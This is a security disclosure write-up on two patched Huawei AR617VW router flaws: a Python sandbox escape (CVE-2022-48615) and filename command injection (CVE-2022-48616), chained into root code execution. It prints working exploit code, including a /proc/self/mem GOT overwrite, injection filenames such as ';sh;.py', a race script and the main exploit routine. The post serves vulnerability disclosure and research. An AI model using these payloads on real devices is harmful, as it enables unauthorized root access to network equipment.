Contents

Huawei NetEngine AR617VW Authenticated Root RaCE

TL;DR

The journey of finding two authenticated vulnerabilities in Huawei NetEngine AR617VW and chaining them to achieve RCE as root.

Introduction

Huawei uses a general network operating system called Versatile Routing Platform (VRP) for their enterprise-grade routers. More about VRP can be read here.

https://forum.huawei.com/enterprise/en/VRP-Basics/thread/667280632188911616-667213852955258880

However, during the inspection of the firmware using binwalk a Linux kernel is found along with two squashfs filesystems.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1780          0x6F4           uImage header, header size: 64 bytes, header CRC: 0xE4A83D71, created: 2020-03-09 06:10:08, image size: 2193415 bytes, Data Address: 0x82008000, Entry Point: 0x82008000, data CRC: 0xD6854B1, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: "Linux-4.4.197"
4468          0x1174          device tree image (dtb)
14664         0x3948          device tree image (dtb)
21304         0x5338          device tree image (dtb)
22730         0x58CA          LZMA compressed data, properties: 0x5D, dictionary size: 67108864 bytes, uncompressed size: -1 bytes
2188828       0x21661C        device tree image (dtb)
2195320       0x217F78        Certificate in DER format (x509 v3), header length: 4, sequence length: 1042
2196366       0x21838E        Certificate in DER format (x509 v3), header length: 4, sequence length: 1155
2198222       0x218ACE        Certificate in DER format (x509 v3), header length: 4, sequence length: 972
2199198       0x218E9E        Certificate in DER format (x509 v3), header length: 4, sequence length: 1152
2202534       0x219BA6        Certificate in DER format (x509 v3), header length: 4, sequence length: 1155
2203693       0x21A02D        Certificate in DER format (x509 v3), header length: 4, sequence length: 1152
2205304       0x21A678        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 12844626 bytes, 1343 inodes, blocksize: 131072 bytes, created: 2020-03-09 02:44:08
15050420      0xE5A6B4        Certificate in DER format (x509 v3), header length: 4, sequence length: 1042
15051466      0xE5AACA        Certificate in DER format (x509 v3), header length: 4, sequence length: 1155
15053322      0xE5B20A        Certificate in DER format (x509 v3), header length: 4, sequence length: 972
15054298      0xE5B5DA        Certificate in DER format (x509 v3), header length: 4, sequence length: 1152
15057634      0xE5C2E2        Certificate in DER format (x509 v3), header length: 4, sequence length: 1155
15058793      0xE5C769        Certificate in DER format (x509 v3), header length: 4, sequence length: 1152
15397973      0xEAF455        Certificate in DER format (x509 v3), header length: 4, sequence length: 1284
15431940      0xEB7904        SHA256 hash constants, little endian
15435892      0xEB8874        SHA256 hash constants, little endian
15436220      0xEB89BC        CRC32 polynomial table, little endian
15437244      0xEB8DBC        CRC32 polynomial table, little endian
15442777      0xEBA359        LZO compressed data
15511608      0xECB038        Certificate in DER format (x509 v3), header length: 4, sequence length: 1359
15568360      0xED8DE8        Certificate in DER format (x509 v3), header length: 4, sequence length: 1042
15569406      0xED91FE        Certificate in DER format (x509 v3), header length: 4, sequence length: 1155
15571262      0xED993E        Certificate in DER format (x509 v3), header length: 4, sequence length: 972
15572238      0xED9D0E        Certificate in DER format (x509 v3), header length: 4, sequence length: 1152
15575574      0xEDAA16        Certificate in DER format (x509 v3), header length: 4, sequence length: 1155
15576733      0xEDAE9D        Certificate in DER format (x509 v3), header length: 4, sequence length: 1152
15578016      0xEDB3A0        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 128679052 bytes, 1100 inodes, blocksize: 131072 bytes, created: 2020-03-16 12:15:25
144259747     0x8993AA3       PGP armored data, public key block
144261308     0x89940BC       Certificate in DER format (x509 v3), header length: 4, sequence length: 1042
144262354     0x89944D2       Certificate in DER format (x509 v3), header length: 4, sequence length: 1155
144264243     0x8994C33       Certificate in DER format (x509 v3), header length: 4, sequence length: 972
144265219     0x8995003       Certificate in DER format (x509 v3), header length: 4, sequence length: 1152
144268626     0x8995D52       Certificate in DER format (x509 v3), header length: 4, sequence length: 1155
144269785     0x89961D9       Certificate in DER format (x509 v3), header length: 4, sequence length: 1152

After extracting the filesystem and skimming through it, a huge binary (~180MB) named vrp is found in a directory named /mpu/ inside the second squashfs. This binary acts as a guest OS on top of the Linux host as it was understood from analysis.

The router has many physical ports available but the main focus in this blogpost are:

  • Console: A serial ethernet connection showing boot log and prompts for authentication for CLI access.
  • Mgmt/GE0: The ethernet port on which the management portal is enabled by default.

This serial interface operates over a baudrate of 9600 and here’s the boot log of the router:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
safetycode boot type: spi nand flash
flash block size: 0x40000
efuse match chip 0x1, sub chip 0x7
Safetycode build: (Dec 26 2019 - 15:58:34)
NO efuse OPdata
Select startcodeA

Startcode 2017.07 (V5 - V001)

Startcode build: (Dec 16 2019 - 11:00:10)
NAND:  SPI NAND Flash
DDR ddr_ver : 0x3
DDR size is : 0x40000000
Use the ubootA to load
FORCE_SECURE_MODE! 
No update Crl, Use Device Crl

Uboot build: (Mar 13 2020 - 17:02:55)
Boot from NAND flash
Board Id: 157
Flash ver: 3
DDR ver: 3
SPI NAND Flash
In:    serial
Out:   serial
Err:   serial
Board Id: 157
Flash ver: 3
DDR ver: 3
DDR size is : 0x40000000
Use the kernelA to load
Force secure mode
Use device CRL
Use device CRL
   Loading Kernel Image ... OK

Starting kernel ...

[    0.000000] smp_twd: clock not found -2
[    0.211424] L2C: device tree omits to specify unified cache
[    0.211468] L2C-310: enabling full line of zeros but not enabled in Cortex-A9
[    0.498292] mtdoops: mtd device (mtddev=name/number) must be supplied
[    2.178241] **** Total Boot time: 2178 ms, uncompress initrd cost 0 ms ****
starting pid 433, tty '': '/etc/rc.d/rc.ttyinit'
Release : RTOS 207.5.0
Kernel Version: Linux 4.4.197 #1 SMP Sat Jan 11 17:52:00 UTC 2020
mount file system
Bootloader creation date: Feb 19 2020, 20:21:53
Bootloader boardid: 0x157
Press Ctrl+B to break auto startup... 0
Save load state word... OK
Boot from CurrentPart: 0, CurDiskFlag: 0
Now boot from flash:/AR610-V300R019C10SPC200.cc, please wait... 
Secure boot is enable
CRLs in cc and flash are same
Begin to execute the ar617 init startup scipt
3099590656
3205496832
3205496832
3099590656
0x00000157
/mnt/squash/etc
ar610 vportm.ko max_port_num=2 buf_resv_num=2
ar610 vport_veth.ko
ar610 vportko_drv.ko
Execute the ar617 init startup s[   64.270599] watchdog watchdog0: watchdog did not stop!
cipt successfully
vport init_add_default_link ok..
EVM Init add default link between ar and veth1......ok.

Create monitor process

INFO:Get pri len, the result is 0x810401abCreate cap process
Create vrp process

netconf monitor start! 
CAP_IRC_AdaptInit listen ok
Bsp so creation date: Mar  7 2020, 21:14:29
register driver tap3g.(Mar 12 2020 16:04:58)

Vspm Create Date : Mar  7 2020, 23:40:18 

DOPRA initialize..................
Codec initializing......
OK
IAS initialize....................OK
OK
VRP initialize
Dsl firmware loading...
Request OK

Dsl init success
create pc rx poll task..
ok...
create uevent task success.

FECD IRC Connecting: OK 
register driver tap3g.(Mar 12 2020 16:04:58)

Create tasks......................OK
Initialize tasks..................OK
Recovering configuration..........OK

  Press any key to get started

Login authentication

Username:

And being connected to the Mgmt allows us to access the management portal:

By default only the web management portal is enabled on the Mgmt port. For the sake of analysis, telnet and ftp were also enabled from the web portal.

Analysis

An interesting functionality that instantly drove the focus was the Open Programmability System (OPS) which is a feature by Huawei to allow the extending of the routers functionalities by providing APIs.

Open Programmability System

The Open Programmability System (OPS) is an open platform that provides Application Programming Interfaces (APIs) to achieve device programmability, allowing third-party applications to run on the device.

How it works?

The below flowchart represents the full work process of the OPS.

https://support.huawei.com/enterprise/en/doc/EDOC1100034067/e44d6749/understanding-ops

This flowchart can be translated to the following commands:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# Installing the script
<Huawei> ops install file $SCRIPT_NAME

# Configuring an assistant 
<Huawei> system-view
[Huawei] ops
[Huawei-ops] script-assistant python $SCRIPT_NAME

# Unbinding script from assistant
<Huawei> system-view
[Huawei] ops
[Huawei-ops] undo script-assistant python $SCRIPT_NAME

# Uninstalling the script
<Huawei> ops uninstall file $SCRIPT_NAME

Digging Deeper

Scripts are not being executed on their own instead they are being imported as modules by /mnt/squash/local/pyhome/lib/frame.py as shown in the vrp binary’s function OPS_ProcMng_ExecuteWithArg

The /mnt/squash/local/pyhome/lib/frame.py does the following:

  1. Parse the arguments provided.

    1
    2
    3
    4
    5
    6
    7
    
    try:
    	arg_list, unknown_arg_list = getopt.getopt(sys.argv[1:], "", ["phase=", "script-dir=", "script-name=", "main-queue-id=", "slave-queue-id=", "old-dir=", "new-dir="])
    except getopt.GetoptError as err:
    	...
    
    arg = farg.frame_args(arg_list)
    ...
    
  2. Create an OPS object.

    1
    2
    3
    4
    
    import ops
    ...
    o = ops.Ops(arg)
    ...
    
  3. Import the module and check if it is valid.

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    
    def IsValidModule(m):
    	has_condition = False
    	has_execute = False
    	for ele in dir(m):
    		if ele == 'ops_condition':
    			has_condition = True
    		if ele == 'ops_execute':
    			has_execute = True
    	if has_condition and has_execute:
    		return True
    	return False
    
    ...
    
    try:
    	m = __import__(arg.module)
    except:
    	...
    
    if not IsValidModule(m):
    	...
    
  4. Execute module function based on the phase.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    try:
    	if arg.phase == 'condition': 
    		dbg("will execute ops_condition()...")
    		ret = m.ops_condition(o)
    	else:
    		dbg("will execute ops_execute()...")
    		ret = m.ops_execute(o)
    except:
    	...
    

By referring to scripts provided in the firmware in /mnt/squash/etc/libscript/ it was noticed that to print values to the connected terminal the function o.vtyprint is used with o referring to the ops object. Meanwhile the normal print function has its output directed to the console port (STDIN, STDOUT and STDERR are all redirected to the console port).

In the ops.py module the vtyprint function is implemented as:

1
2
3
4
5
6
7
8
9
import _ops
...
def vtyprint(self, msg):
	# parameter check
    if type(msg) is not str:
        return 1, "msg is not string."		

    # call _ops buildin module function
    return _ops.vtyprint(self.__arg.script_name, msg)

With this implementation in mind it was possible to directly call _ops.vtyprint with the script name and the message to be printed.

A simple script verifying this will look like this:

1
2
3
import _ops

_ops.vtyprint("test.py", "Hello, World!")

And proceeding to running the script using the steps mentioned above succeeds as shown.

It is worth noting that the script was executed on being imported. However the bounding to a script assistant failed as we do not follow the intended script structure (as it won’t be needed in our case). If we were to proceed with using the same script name test.py we’ll need to uninstall it and install the modified version.

First Vulnerability (CVE-2022-48615)

A script run_test.py was written to ease the process of running OPS script, it uploads the file through FTP and executes it over telnet using the previously mentioned commands.

After some trial and error the following were deducted:

  • Not all base python modules were available.
  • system, exec, execv, and other functions used to run OS commands inside the os module were not available.
  • open can only access files inside /mnt/flash/ directory.
  • os.open was able to access files outside the /mnt/flash directory.

Triaging

To verify that it is possible to read outside the jail directory /mnt/flash using os.open, a script that reads the content of /etc/passwd would do the trick:

1
2
3
4
5
6
7
8
import _ops
import os

fd = os.open("/etc/passwd", os.O_RDONLY)
data = os.read(fd, 1000)
os.close(fd)

_ops.vtyprint("test.py", data.decode())

Running the script actually read the contents of /etc/passwd

Exploitation

Other than leveraging this access control vulnerability to read and/or write files, it can lead to RCE by utilizing both the read and write primitives. The main idea to achieve this is to manipulate the python process memory and giving ourselves access to the system function.

This was achieved using the following approach:

  1. Read the contents of /proc/self/maps
  2. Parse the base address for the python binary and libc.
  3. Calculate the offset of mkdir@got
  4. Calculate the offset of system in libc.
  5. Overwrite the value of mkdir@got with system

Performing this correctly results in converting the os.mkdir function into os.system. The script to achieve this is as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import _ops
import os

def _print(msg):
    _ops.vtyprint("test.py", str(msg))

def _readfile(fname, length):
    fd = os.open(fname, os.O_RDONLY)
    data = os.read(fd, length)
    os.close(fd)
    return data

def _pack(address):
    return bytes.fromhex(hex(address)[2:])[::-1]

def _unpack(hex_str):
    return int(f"0x{hex_str}", 16)

_print(f"[*] Dumping /proc/self/maps")
mapping = []
for line in _readfile("/proc/self/maps", 5000).split(b"\n"):
    mapping.append(line.decode())

_print(f"[*] Calculating offsets")
binary_base = _unpack(mapping[0].split('-')[0])
_print(f"[*] binary @ {hex(binary_base)}")

libc_base = _unpack(mapping[6].split('-')[0])
_print(f"[*] libc @ {hex(libc_base)}")

mkdir = binary_base + 0x002A2764
system = libc_base + 0x0003A9C4
_print(f"[*] mkdir@got: {hex(mkdir)}")
_print(f"[*] system@libc: {hex(system)}")

_print(f"[*] Overwriting mkdir@got with system@libc")
fd = os.open("/proc/self/mem", os.O_RDWR)
os.lseek(fd, mkdir, os.SEEK_SET)
os.write(fd, _pack(system))
os.close(fd)

os.mkdir("id > /mnt/flash/POC")

_print(_readfile("/mnt/flash/POC", 100).decode())

Running the script, it is noticed that commands are being executed as the user python

Further Analysis

Achieving RCE is fun but not as python user so let’s dig more into how the OPS handle python scripts. To do this we will have a look in the vrp binary.

Circling back to the same 4 operations mentioned for the OPS, the following functions take the spotlight:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// Installing the script
int OPS_Cfg_FileInstall(int a1, const char *a2, const char *a3)

// Configuring an assistant 
int OPS_Cfg_ScriptAssistInstall(int a1, const char *a2)

// Unbinding script from assistant
int OPS_Cfg_ScriptAssistUninstall(int a1, const char *a2)

// Uninstalling the script
int OPS_Cfg_FileUninstall(int a1, const char *a2)

But our focus will only be directed to OPS_Cfg_ScriptAssistInstall as this is the function responsible for running our script.

It performs a couple of checks on the script’s filename, the checks are as follows:

  • OPS_Cfg_IsPythonFile: Checks if the filename has only one dot appended by the python extension (.py)
  • OPS_Cfg_IsPythonInternalFile: Checks if the filename matches any of the python internal modules such as os.py
  • OPS_Cli_IsExecuteCliByFileName: Checks if the script is already running.

Then comes the interesting part:

  • First the file path is being built by concatenating the defaultResourcePath which is /mnt/flash with the string “$_user” and the filename. So the final string will look like this "/mnt/flash/$_user/$FILENAME"
  • It then builds a chmod command with the resulting filePath
  • A check is preformed to make sure that the script being executed is not in the pys directory.
  • If the conditions are met, PAT_SystemCall is called with the chmod command.

Second Vulnerability (CVE-2022-48616)

As mentioned the command is being prepared using the sprintf_s function without any prior validation on the fileName which presents a command injection vulnerability but with some constraints:

  • Filename length must be less than 65 bytes.
  • Filename must only contain one dot.
  • Filename must end with .py
  • Filename cannot contain any of these characters ["<", ">", ":", "/", "\\", "|", "\"", "'", "*", "~", " "]

Triaging

The simplest way to verify the vulnerability is to upload a file with the name ;reboot;.py

The telnet session is closed and the router is rebooting which clearly indicates that the command injection is working.

How about trying to get an interactive shell? Would that work? Let’s give it a shot by uploading a file with the name ;sh;.py

The telnet session just hangs after running the script assistant command. However, on the console port a root shell appeared.

So, now we can run commands as root but STDIN apparently is overlapping between the login and our shell. Anyway, we still need to get an RCE not just execute commands over the console port.

Exploitation

After a few trial and error, the following was concluded:

  • The current directory is not writable.
  • Directory traversal is not allowed because only one dot is allowed in the filename.
  • Absolute paths were not usable as the forward slash is blocked.
  • I/O redirection is not possible.
  • The command size limit is 64 - 3

At the time of writing, I am not aware of any ways that can allow bypassing these restrictions without leveraging other vulnerabilities.

It seemed like a dead end… Well, not yet!

Chain to RaCE

A little recap over steps that will help achieve the objective:

  • Create a file.
  • Make it executable.
  • Write payload to the file.
  • Execute the file.

After some refreshing research, it was possible to create a file and reference its name.

The payload looks like this ;t=`mktemp`;cat${IFS}$t;.py

  • t=`mktemp` : Will create a temp file and store its name in $t
  • ${IFS}: Used instead of spaces.
  • The cat command here is just a placeholder to imply that we can access the file in $t

This allowed the bypass of a couple of the restrictions mentioned earlier. Also, the payload can be simply modified into ;t=`mktemp`;chmod${IFS}777${IFS}$t;sh${IFS}$t;.py and now we checked 3 out of 4 steps.

Plan

Recall the first vulnerability, it was possible to read and write to files anywhere on the system. Let’s leverage that and chain it with the second vulnerability. The idea is to create a file and modify its permissions using the command injection then use the first vulnerability to write out payload into the file and finally execute the file using the second vulnerability. But this has to be done in parallel in order not to lose the reference to the file.

This is a simple illustration for the planned race:

Achieving RCE as root

As we kind of have our command injection payload, lets start with the python script that will write to our temp file. A simple script (race.py) that will loop over all temp files and write a bash script into them.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import os

for f in os.listdir("/tmp/"):
    if not f.startswith("tmp"):
        continue
    exploit = """#!/bin/bash
	    id > /mnt/flash/RCE
    """
    try:
        fd = os.open(os.path.join("/tmp", f), os.O_RDWR | os.O_APPEND)
        os.write(fd, exploit.encode())
        os.close(fd)
    except:
        pass

To start writing the exploit, some helpers were written to ease the process:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# Connects to an FTP server and return the connection
def get_ftp_session(rhost, username, password)

# Uploads a file to an FTP connection
def ftp_upload(ftp, fname)

# Connects to a Telnet server and returns the connection
def get_telnet_session(rhost, username, password)

# Run the OPS script using the previously mentioned sequence of commands
def run_python_script(telnet, fname)

# Read file from /mnt/flash using Telnet
def read_file(telnet, fname)

The main function of the exploit will look like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def main(args):
	rhost = args.rhost 
	username = args.username
	password = args.password
	
	payload_script = ";t=`mktemp`;chmod 777 $t;sleep 5;$t;.py".replace(" ", "${IFS}")
	race_script = "race.py"

	print("[*] Creating payload script.")
	open(payload_script, "w").close()
	
	print("[*] Uploading exploit files.")
	ftp = get_ftp_session(rhost, username, password)
	ftp_upload(ftp, payload_script)
	ftp_upload(ftp, race_script)
	ftp.close()
	
	print("[*] Cleanup payload script.")
  os.remove(payload_script)

	telnet_1 = get_telnet_session(rhost, username, password)
	telnet_2 = get_telnet_session(rhost, username, password)

	pid = os.fork()
  if pid == 0:
      print("[*] Running payload.")
      run_python_script(telnet_2, payload_script)
      telnet_2.close()
      os._exit(0)
  else:
      time.sleep(2)
      print("[*] Running race script.")
      run_python_script(telnet_1, race_script)
      
			time.sleep(3)
			print(read_file(telnet_1, "RCE"))
			telnet_1.close()
			

The main function of the exploit performs the following:

  1. Create a python file with the command injection payload.
  2. Upload both the race.py and command injection payload file using FTP.
  3. Open two telnet sessions.
  4. Start a child process.
  5. Child process runs the command injection payload.
  6. Parent process sleeps for 2 seconds to make sure the temp file is created.
  7. Parent process runs the race.py script.
  8. Finally, the parent process sleeps for 3 seconds to wait for the command to be executed and then read the RCE file.

By running the script we are easily running commands as root and getting their results. However we are a little bit greedy and want to get an interactive reverse shell.

Getting a Reverse Shell

After several trials to get outbound connection, it was not possible so let’s try to understand by modifying the bash script we are executing and get the output of ifconfig

Apparently there are no interfaces on the Linux host that allows routing to the internal network. After some research, the understanding that was reached (which might be wrong) is that that Huawei’s VRP act as a guest OS which runs on top of the Host OS (Linux) and utilizes some of its functionalities. So the routing was handled by the vrp binary. And given this public resource from Huawei, it was understood that to be able to get the reverse shell, the routing must be configured from the VRP CLI to enable a virtual interface on the Host OS. This is the sequence of commands to achieve this:

1
2
3
4
5
6
7
<Huawei> system-view
[Huawei] interface GigabitEthernet 0/0/5
[Huawei-GigabitEthernet0/0/5] ip address 192.168.2.1 255.255.255.0
[Huawei-GigabitEthernet0/0/5] dhcp select interface
[Huawei-GigabitEthernet0/0/5] nat server protocol tcp global 192.168.2.100 inside $LHOST
[Huawei-GigabitEthernet0/0/5] quit
[Huawei] quit

After running these commands and inspecting the result of ifconfig, a new interface (veth1) is shown.

Applying some minor adjustments to the exploit to handle the receiving of a reverse shell and VOILA!

For the sake of completion, additional code was added to the exploit to authenticate with the web interface and make sure that the FTP and Telnet services are enabled and the user used have access to these services.

Affected Systems and Mitigations

These vulnerabilities were discovered on AR610VW router running AR600-V300R21C00SPC200. However, they may affect other routers and versions. Please refer to Huawei for clarification on vulnerable routers and/or versions and their respective patched version.

Disclosure Timeline

  • Discovery: April 10, 2022
  • Reported to Vendor: June 02, 2022
  • Patching: September 07, 2022 - September 20, 2022
  • Disclosure: October 31, 2023

Acknowledgement

Saif Aziz (@wr3nchsr) of CyShield

Disclaimer

CYSHIELD FOR TECHNOLOGY S.A.E (CYSHIELD) are keen to share our expertise widely and to enrich public knowledge, through disseminating cyber security culture awareness. CYSHEILD relies on information provided by the vendor / product manufacturer when listing fixed versions, products or releases. CYSHIELD does not verify this contained information, except otherwise when specifically stipulated in the advisory text and contractually required or explicitly agreed in a written form by the vendor / product manufacturer to undertake as such. Unconfirmed vendor / product manufacturer fixes might be ineffective, incomplete, inaccurate or easy to bypass and it is the vendor’s / product manufacturer’s liability to ensure all the discovered vulnerabilities found by CYSHIELD are resolved properly. CYSHIELD accepts zero liability, financial or otherwise, from any material and consequential losses, loss of life or reputational loss arising from or as a result of misuse of the information or code contained or mentioned in its advisories. It is the vendor’s / product manufacturer’s liability not CYSHIELD to ensure their products’ security before, during and after release to market.